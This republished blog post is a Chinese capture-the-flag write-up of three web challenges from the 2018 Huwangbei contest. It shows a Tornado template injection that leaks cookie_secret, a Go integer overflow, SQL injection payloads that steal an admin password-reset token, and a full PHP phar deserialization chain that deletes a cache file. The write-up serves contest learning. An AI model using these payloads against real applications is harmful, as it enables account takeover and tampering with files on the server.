【技术分享】2018护网杯-web部分题解

admin 2022年4月9日10:40:09CTF专场评论13 views3636字阅读12分7秒阅读模式

【技术分享】2018护网杯-web部分题解

【技术分享】2018护网杯-web部分题解
前记
【技术分享】2018护网杯-web部分题解

护网杯刚结束,记录一下做出的3道web(1道赛后解出),很遗憾有一道java没能解出。

 easy tornado

进入题目

http://49.4.78.81:30980/

发现有3个选项

http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a


Orz.txt
render()

http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1


hint.txt
md5(cookie_secret + md5(filename))

http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72


flag.txt
/fllllllllllag

发现意思很明确,有签名,读文件
那么现在要做的就是leak cookie_secret
发现

http://49.4.78.81:30980/error?msg={{1^0}}

可以进行模板注入,但过滤了非常多的符号,应该只能读个变量
阅读tornado源码

https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py

发现handler.settings存放了cookie_secret
读取

http://49.4.78.81:30980/error?msg={{handler.settings}}

得到

Whoops, looks like somethings went wrong . {'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_<W%L3-T~AuQlBbqr6}ig', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}

随机构造签名读flag

http://49.4.78.81:30980/file?filename=/fllllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960

得到

/fllllllllllag
flag{67a3d3dec827645c1c92d1f2160c744f}

ltshop

本能的条件竞争,换大辣条,50个线程,跑完发现自己有7个大辣条了,看来竞争略有成效
下面是辣条之王的艺术,考虑到是go语言,uint64可能存在溢出

http://www.it1352.com/808569.html

于是思考到,这里我们的兑换量应该*5,于是简单计算了一下

【技术分享】2018护网杯-web部分题解

然后我们这里兑换3689348814741910324即可溢出

【技术分享】2018护网杯-web部分题解

【技术分享】2018护网杯-web部分题解

easy_laravel

源码发现

这是本次的重量级题目:首先在f12源代码里发现

 

<!-- code: https://github.com/qqqqqqvq/easy_laravel -->

  

【技术分享】2018护网杯-web部分题解


sql注入

于是下载源码,看一下控制器,不难发现有注入点

easy_laravel/app/Http/Controllers/NoteController.php

【技术分享】2018护网杯-web部分题解

于是尝试

admin' or 1#

【技术分享】2018护网杯-web部分题解

发现可以读到note,于是尝试union select

然后遇到了第一个坑点,我们在代码里可以看到

【技术分享】2018护网杯-web部分题解

于是我认为应该只有4列,然后一直就是wrong,wrong,wrong

很头疼的尝试了order by,发现是5列

注册:admin' order by 5#

【技术分享】2018护网杯-web部分题解

注册:admin' order by 6#

【技术分享】2018护网杯-web部分题解

然后尝试union select

【技术分享】2018护网杯-web部分题解

根据给出的表,我再信他一回:)

【技术分享】2018护网杯-web部分题解

admin' union select 1,(select password from users limit 0,1),3,4,5#

【技术分享】2018护网杯-web部分题解

【技术分享】2018护网杯-web部分题解

到这里为止,发现密码无法破解

那么如何登入管理员呢?

密码重置

这里还有一个表

【技术分享】2018护网杯-web部分题解

我们发现还能重置密码,而且只需要email和token!

那我们去拿管理员的token

admin' union select 1,(select token from password_resets limit 1,1),3,4,5#

【技术分享】2018护网杯-web部分题解

然后去重置管理员密码即可

【技术分享】2018护网杯-web部分题解

然后使用路径

http://49.4.78.81:31250/password/reset/1c9d0f377a75dd48abaa90dd7fa4eb35653da39561d6f9c33bdb14a8a0849616

【技术分享】2018护网杯-web部分题解

然后改密码即可登入管理员

到此为止,我们离flag又近了一步

登入后台

【技术分享】2018护网杯-web部分题解

发现有4个功能:upload,files,flag,note

这里flag点进去发现是no flag

加上题目的提示:

【技术分享】2018护网杯-web部分题解

可以发现是blade过期的问题,这里简单搜索

https://www.jianshu.com/p/7d65f9eb94be

发现Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。

所以我们这的思路很清晰:

1.因为旧的缓存存在,导致我们看不到flag

2.我们可以利用pop chain删掉缓存文件

3.读到flag

那么缓存文件在哪里呢?我们查看源码发现

【技术分享】2018护网杯-web部分题解

那cachepath又是哪里呢?想到最开始的提示

nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

那么很容易得知web目录

/usr/share/nginx/html

然后再去发掘blade缓存位置

https://www.jianshu.com/p/018c83d6b38c

发现是

/storage/framework/views

再结合sha1,得到最后的路径

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

反序列化删除发掘

那么去哪里找删除函数呢?

这里发现composer.json中提供了大量组件,我们安装一下,然后全局搜索,容易发现有unlink()

【技术分享】2018护网杯-web部分题解

phar神来之笔

那最后怎么触发序列化呢?这里用到了我们BlackHat会议演讲的phar://方法

参考这篇文章

https://xz.aliyun.com/t/2715

我们发现在check这里

【技术分享】2018护网杯-web部分题解

是会使用file_exists的,并且path和filename可控!

于是我们尝试构造

<?phpinclude('autoload.php'); $a = serialize(new Swift_ByteStream_TemporaryFileByteStream()); var_dump(unserialize($a)); var_dump($a); $a = preg_replace('//private/var/folders/dm/r80s8lp52bz1rcdhp5h9zlrw0000gn/T/FileByteStream[w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); $a = str_replace('s:77', 's:90', $a); $b = unserialize($a); $p = new Phar('./skyfuck.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($b); $p->addFromString('test.txt','text'); $p->stopBuffering(); rename('skyfuck.phar', 'skyfuck.gif')?>

然后上传后触发

【技术分享】2018护网杯-web部分题解

最后即可看到flag

【技术分享】2018护网杯-web部分题解

后记
【技术分享】2018护网杯-web部分题解

这次护网杯的题目还是很nice的,感谢4uuu Nya大佬的nice题目,和赛后帮助我理解Laravel的bendawang师傅,给跪了~

【技术分享】2018护网杯-web部分题解

- 结尾 -
精彩推荐
【技术分享】结合实例浅析壳编写的流程与难点
【技术分享】代码指针完整性
【技术分享】2018 SECCON CTF—GhostKingdom Writeup

【技术分享】2018护网杯-web部分题解
戳“阅读原文”查看更多内容

原文始发于微信公众号(安全客):【技术分享】2018护网杯-web部分题解

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月9日10:40:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  【技术分享】2018护网杯-web部分题解 http://cn-sec.com/archives/889361.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: